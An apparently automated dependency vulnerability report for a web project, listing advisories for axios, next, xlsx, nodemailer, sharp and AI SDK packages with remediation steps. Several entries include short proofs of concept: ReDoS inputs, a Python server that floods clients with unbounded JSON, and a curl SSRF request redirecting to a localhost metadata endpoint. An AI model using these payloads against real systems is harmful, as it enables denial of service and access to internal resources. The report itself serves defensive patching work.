  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via crafted WebSocket upgrade requests. An attacker can access internal or external resources by sending specially crafted requests with absolute-url that cause the server to proxy connections to arbitrary destinations, potentially exposing sensitive internal services or cloud metadata endpoints.

Workaround

This vulnerability can be mitigated by not exposing the origin server directly to untrusted networks, blocking WebSocket upgrades at the reverse proxy or load balancer if not required, and restricting origin egress to internal networks and metadata services where possible.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: xlsx
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5

Overview

xlsx is a Parser and writer for various spreadsheet formats.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple functions, allowing an attacker to crash the system by submitting specially crafted input.

Note:

This vulnerability was fixed in version 0.20.2 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue (https://github.com/SheetJS/sheetjs/issues/2667) for full details.

PoC


//Crafted file

node -e 'console.log("<!--".repeat(150387))' > evilFile.xlsx

//Snippet code for xlsx

const xlsx = require('xlsx'); 

(() => {
    console.time()
    xlsx.readFile('./evilFile.xlsx', {});
    console.timeEnd()
})();

//Snippet code for @e965/xlsx

const @e965/xlsx = require('@e965/xlsx'); 

(() => {
    console.time()
    @e965/xlsx.readFile('./evilFile.xlsx', {});
    console.timeEnd()
})();

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Race Condition

  • Vulnerable module: @modelcontextprotocol/sdk
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @modelcontextprotocol/sdk@1.24.3

Overview

@modelcontextprotocol/sdk is a Model Context Protocol implementation for TypeScript

Affected versions of this package are vulnerable to Race Condition via the reuse of a single McpServer or Server instance and transport across multiple concurrent client connections. An attacker can access response data intended for other clients by exploiting JSON-RPC message ID collisions, which causes responses to be misrouted between clients.

Note:

This is only exploitable if a server instance is shared across concurrent client sessions and clients generate overlapping message IDs.

Workaround

This vulnerability can be mitigated by creating fresh McpServer and transport instances for each request (in stateless mode) or for each session (in stateful mode).

Remediation

Upgrade @modelcontextprotocol/sdk to version 1.26.0 or higher.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

high severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 nodemailer@8.0.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the comment field in the list message option. An attacker can inject arbitrary headers into generated email messages by supplying crafted input containing CRLF sequences.

Remediation

Upgrade nodemailer to version 8.0.9 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 mailparser@3.9.8 nodemailer@8.0.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the message-level raw option bypassing disableFileAccess and disableUrlAccess flags. An attacker can access arbitrary local files or perform server-side request forgery by supplying crafted input to the raw field, which bypasses intended access restrictions and results in sensitive data being sent to an attacker-controlled recipient.

Remediation

Upgrade nodemailer to version 9.0.1 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

  • Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
  • IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
  • A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity
new

Heap-based Buffer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.34.5

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron sharp@0.34.5
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the bundled libvips TIFF loader (VipsForeignLoadTiff), which can miscount the channels of a tile encoded as JPEG or JPEG2000 within a TIFF image. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a TIFF whose JPEG or JPEG2000 tiles cause the channel count to be misdetermined and the buffer undersized. Exploitation requires the application to decode an untrusted TIFF with JPEG or JPEG2000 tiles through sharp.

Workaround

This vulnerability can be avoided by blocking the TIFF loader through sharp's block() for the VipsForeignLoadTiff operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted TIFF images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

high severity
new

Integer Overflow

  • Vulnerable module: sharp
  • Introduced through: sharp@0.34.5

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron sharp@0.34.5
    Remediation: Upgrade to sharp@0.35.0.

Overview

sharp is a High performance Node.js image processing, the fastest module to resize JPEG, PNG, WebP, GIF, AVIF and TIFF images

Affected versions of this package are vulnerable to Integer Overflow leading to a heap buffer overflow in the bundled libvips VIPS loader (VipsForeignLoadVips), which can miscompute image dimensions. An attacker can corrupt heap memory and crash the process, with a possibility of code execution, by supplying a VIPS (.vips) image whose dimensions overflow the size calculation. Exploitation requires the application to decode an untrusted VIPS image through sharp.

Workaround

This vulnerability can be avoided by blocking the VIPS loader through sharp's block() for the VipsForeignLoadVips operation, or by setting the VIPS_BLOCK_UNTRUSTED environment variable, so untrusted VIPS images are not decoded.

Remediation

Upgrade sharp to version 0.35.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: @ai-sdk/provider-utils
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/deepseek@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/deepseek@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/google@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/openai@1.0.20 @ai-sdk/provider-utils@2.0.8

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in various respons.text() invocations in response-handler.ts, which accept and buffer arbitrarily long request strings. Functions like createJsonResponseHandler() and createJsonErrorResponseHandler() perform these unbounded calls, without recourse to protections afforded by higher level JSON handling APIs. An attacker who can convince a client to connect to a malicious server can trigger an out of memory failure.

PoC

Malicious server:

import http.server
import socketserver

class MaliciousHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{ "id": "chatcmpl-1", "object": "chat.completion", "created": 123, "model": "gpt-4", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "')
        try:
            while True:
                self.wfile.write(b' ' * 1024 * 1024)
                self.wfile.flush()
        except Exception:
            pass

socketserver.TCPServer(("", 8089), MaliciousHandler).serve_forever()

Remediation

Upgrade @ai-sdk/provider-utils to version 4.0.33, 5.0.1 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: @ai-sdk/provider-utils
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/deepseek@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/deepseek@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/deepseek@0.1.17 @ai-sdk/openai-compatible@0.1.17 @ai-sdk/provider-utils@2.1.15
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/google@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 @ai-sdk/google@1.0.17 @ai-sdk/provider-utils@2.0.8
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @ai-sdk/openai@1.0.20 @ai-sdk/provider-utils@2.0.8

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the order of operations in the validateDownloadUrl() implementation in download-blob.ts and download.ts. The fetch() operation called before applying validateDownloadUrl() follows redirects by default. This open redirect response is blocked by the SSRF protection such that it never makes it back to the application or the attacker, but the request made to the redirect target may still succeed, allowing operations on or disruption of internal resources.

PoC

curl -X POST http://127.0.0.1:3000/api/chat \
  -H "Content-Type: application/json" \
  -d '{"imageUrl": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A8560%2Fsecret_metadata"}'

Remediation

Upgrade @ai-sdk/provider-utils to version 3.0.26, 4.0.29, 5.0.0-beta.49 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 localtunnel@2.0.2 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

